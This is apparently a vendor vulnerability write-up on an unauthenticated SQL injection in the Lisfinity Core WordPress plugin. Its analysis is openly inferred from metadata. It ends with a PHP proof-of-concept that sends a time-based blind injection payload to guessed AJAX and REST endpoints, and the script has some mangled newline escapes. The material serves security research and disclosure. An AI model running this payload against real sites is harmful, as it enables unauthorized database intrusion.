Atomic Edge analysis of CVE-2026-22484 (metadata-based):
The vulnerability is an unauthenticated SQL injection in the Lisfinity Core WordPress plugin. The CWE-89 classification confirms improper neutralization of SQL special elements. The description states insufficient escaping and lack of query preparation on user-supplied parameters. This indicates direct concatenation of user input into SQL statements without using WordPress’s $wpdb->prepare() method or proper escaping functions.
Atomic Edge research infers the attack vector likely involves a WordPress AJAX handler or REST API endpoint. The plugin slug ‘lisfinity-core’ suggests AJAX actions may use the ‘lisfinity’ prefix. The vulnerability affects unauthenticated users, meaning the vulnerable endpoint lacks capability checks and nonce verification. Attackers can append SQL queries to extract sensitive database information.
Exploitation requires sending crafted SQL injection payloads via GET or POST parameters to a specific endpoint. Common WordPress patterns point to /wp-admin/admin-ajax.php with an action parameter like ‘lisfinity_*’ or a REST route under /wp-json/lisfinity/v1/. The CVSS vector confirms network accessibility, low attack complexity, no privileges required, and high confidentiality impact.
A fix requires implementing proper input validation and using prepared statements via $wpdb->prepare(). The plugin must also add capability checks for authenticated endpoints or remove unauthenticated access to sensitive database queries. Without source code, these remediation steps are inferred from WordPress security best practices.
Successful exploitation allows complete database extraction. Attackers can retrieve user credentials, sensitive plugin data, and other WordPress configuration information. The high confidentiality impact score reflects this risk.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-22484 - Lisfinity Core - Lisfinity Core plugin used for pebas® Lisfinity WordPress theme <= 1.5.0 - Unauthenticated SQL Injection
<?php
/**
* Proof of Concept for CVE-2026-22484
* Assumptions based on WordPress plugin patterns:
* 1. Vulnerable endpoint is likely /wp-admin/admin-ajax.php
* 2. Action parameter uses 'lisfinity' prefix
* 3. SQL injection exists in a parameter named 'id', 'search', or similar
* 4. No nonce or capability checks present
*/
$target_url = 'http://target-site.com';
// Common AJAX actions for lisfinity-core plugin
$possible_actions = [
'lisfinity_search',
'lisfinity_get_data',
'lisfinity_ajax',
'lisfinity_load',
'lisfinity_filter'
];
// SQL injection payload for time-based blind detection
$payload = "1' AND SLEEP(5) AND '1'='1";
foreach ($possible_actions as $action) {
$url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => $action,
'id' => $payload,
'search' => $payload,
'term' => $payload,
'query' => $payload
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
if ($elapsed >= 5) {
echo "[+] Potential vulnerability found with action: $actionn";
echo " Response time: {$elapsed}sn";
echo " Payload used: {$payload}n";
}
curl_close($ch);
}
// Alternative REST API endpoint test
$rest_endpoints = [
'/wp-json/lisfinity/v1/search',
'/wp-json/lisfinity/v1/listings',
'/wp-json/lisfinity/v1/filter'
];
foreach ($rest_endpoints as $endpoint) {
$url = $target_url . $endpoint . '?search=' . urlencode($payload);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
if ($elapsed >= 5) {
echo "[+] Potential vulnerability found with REST endpoint: $endpointn";
echo " Response time: {$elapsed}sn";
}
curl_close($ch);
}
?>
